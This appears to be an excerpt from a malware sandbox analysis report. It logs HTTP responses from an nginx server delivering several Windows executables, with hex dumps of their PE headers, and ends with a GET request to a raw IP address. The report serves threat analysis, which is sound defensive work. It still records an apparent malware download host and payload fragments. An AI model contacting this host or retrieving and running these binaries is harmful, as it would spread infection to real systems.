Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 00:14:40 GMTContent-Type: application/octet-streamContent-Length: 1920000Last-Modified: Fri, 22 Nov 2024 23:46:31 GMTConnection: keep-aliveETag: "674117d7-1d4c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 70 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4c 00 00 04 00 00 bd 61 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 5d 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 5d 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 80 2b 00 00 b0 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 68 63 64 77 64 74 76 00 30 1a 00 00 30 32 00 00 2e 1a 00 00 f8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 78 79 6e 6d 63 77 6c 00 10 00 00 00 60 4c 00 00 04 00 00 00 26 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4c 00 00 22 00 00 00 2a 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 00:15:10 GMTContent-Type: application/octet-streamContent-Length: 4354048Last-Modified: Fri, 22 Nov 2024 22:24:49 GMTConnection: keep-aliveETag: "674104b1-427000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 40 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c3 00 00 04 00 00 c0 6f 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3c 2d c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ec 2c c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 37 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 76 64 72 6e 64 6d 75 00 c0 1a 00 00 70 a8 00 00 be 1a 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 72 6a 73 70 71 61 61 00 10 00 00 00 30 c3 00 00 04 00 00 00 4a 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 c3 00 00 22 00 00 00 4e 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 00:15:23 GMTContent-Type: application/octet-streamContent-Length: 1875968Last-Modified: Sat, 23 Nov 2024 00:00:50 GMTConnection: keep-aliveETag: "67411b32-1ca000"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 70 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4a 00 00 04 00 00 5c dc 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 62 61 73 61 6e 78 75 00 00 1a 00 00 60 30 00 00 00 1a 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6e 6b 75 63 79 69 77 00 10 00 00 00 60 4a 00 00 06 00 00 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4a 00 00 22 00 00 00 7e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 00:15:32 GMTContent-Type: application/octet-streamContent-Length: 1874432Last-Modified: Fri, 22 Nov 2024 23:46:17 GMTConnection: keep-aliveETag: "674117c9-1c9a00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 74 fb 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 60 05 00 00 10 00 00 00 62 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 70 05 00 00 02 00 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 80 05 00 00 02 00 00 00 74 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 2a 00 00 90 05 00 00 02 00 00 00 76 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 6d 6b 6f 62 6e 7a 69 00 00 1a 00 00 50 30 00 00 fc 19 00 00 78 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 65 76 77 6d 69 71 77 00 10 00 00 00 50 4a 00 00 04 00 00 00 74 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4a 00 00 22 00 00 00 78 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 00:15:40 GMTContent-Type: application/octet-streamContent-Length: 1769472Last-Modified: Fri, 22 Nov 2024 23:46:24 GMTConnection: keep-aliveETag: "674117d0-1b0000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 b0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 e0 67 00 00 04 00 00 47 1f 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 29 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 72 74 64 75 75 61 68 00 70 19 00 00 30 4e 00 00 62 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 67 6d 73 72 67 71 73 00 10 00 00 00 a0 67 00 00 04 00 00 00 da 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 67 00 00 22 00 00 00 de 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 00:15:49 GMTContent-Type: application/octet-streamContent-Length: 922112Last-Modified: Fri, 22 Nov 2024 23:44:31 GMTConnection: keep-aliveETag: "6741175f-e1200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 57 17 41 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 62 63 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 98 a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 a7 00 00 00 40 0d 00 00 a8 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 23 Nov 2024 00:15:56 GMTContent-Type: application/octet-streamContent-Length: 2786816Last-Modified: Fri, 22 Nov 2024 23:44:58 GMTConnection: keep-aliveETag: "6741177a-2a8600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 00 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 2b 00 00 04 00 00 92 13 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6e 63 6a 73 72 6c 6d 66 00 40 2a 00 00 a0 00 00 00 26 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6d 76 6a 6e 6e 78 72 00 20 00 00 00 e0 2a 00 00 04 00 00 00 60 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 64 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
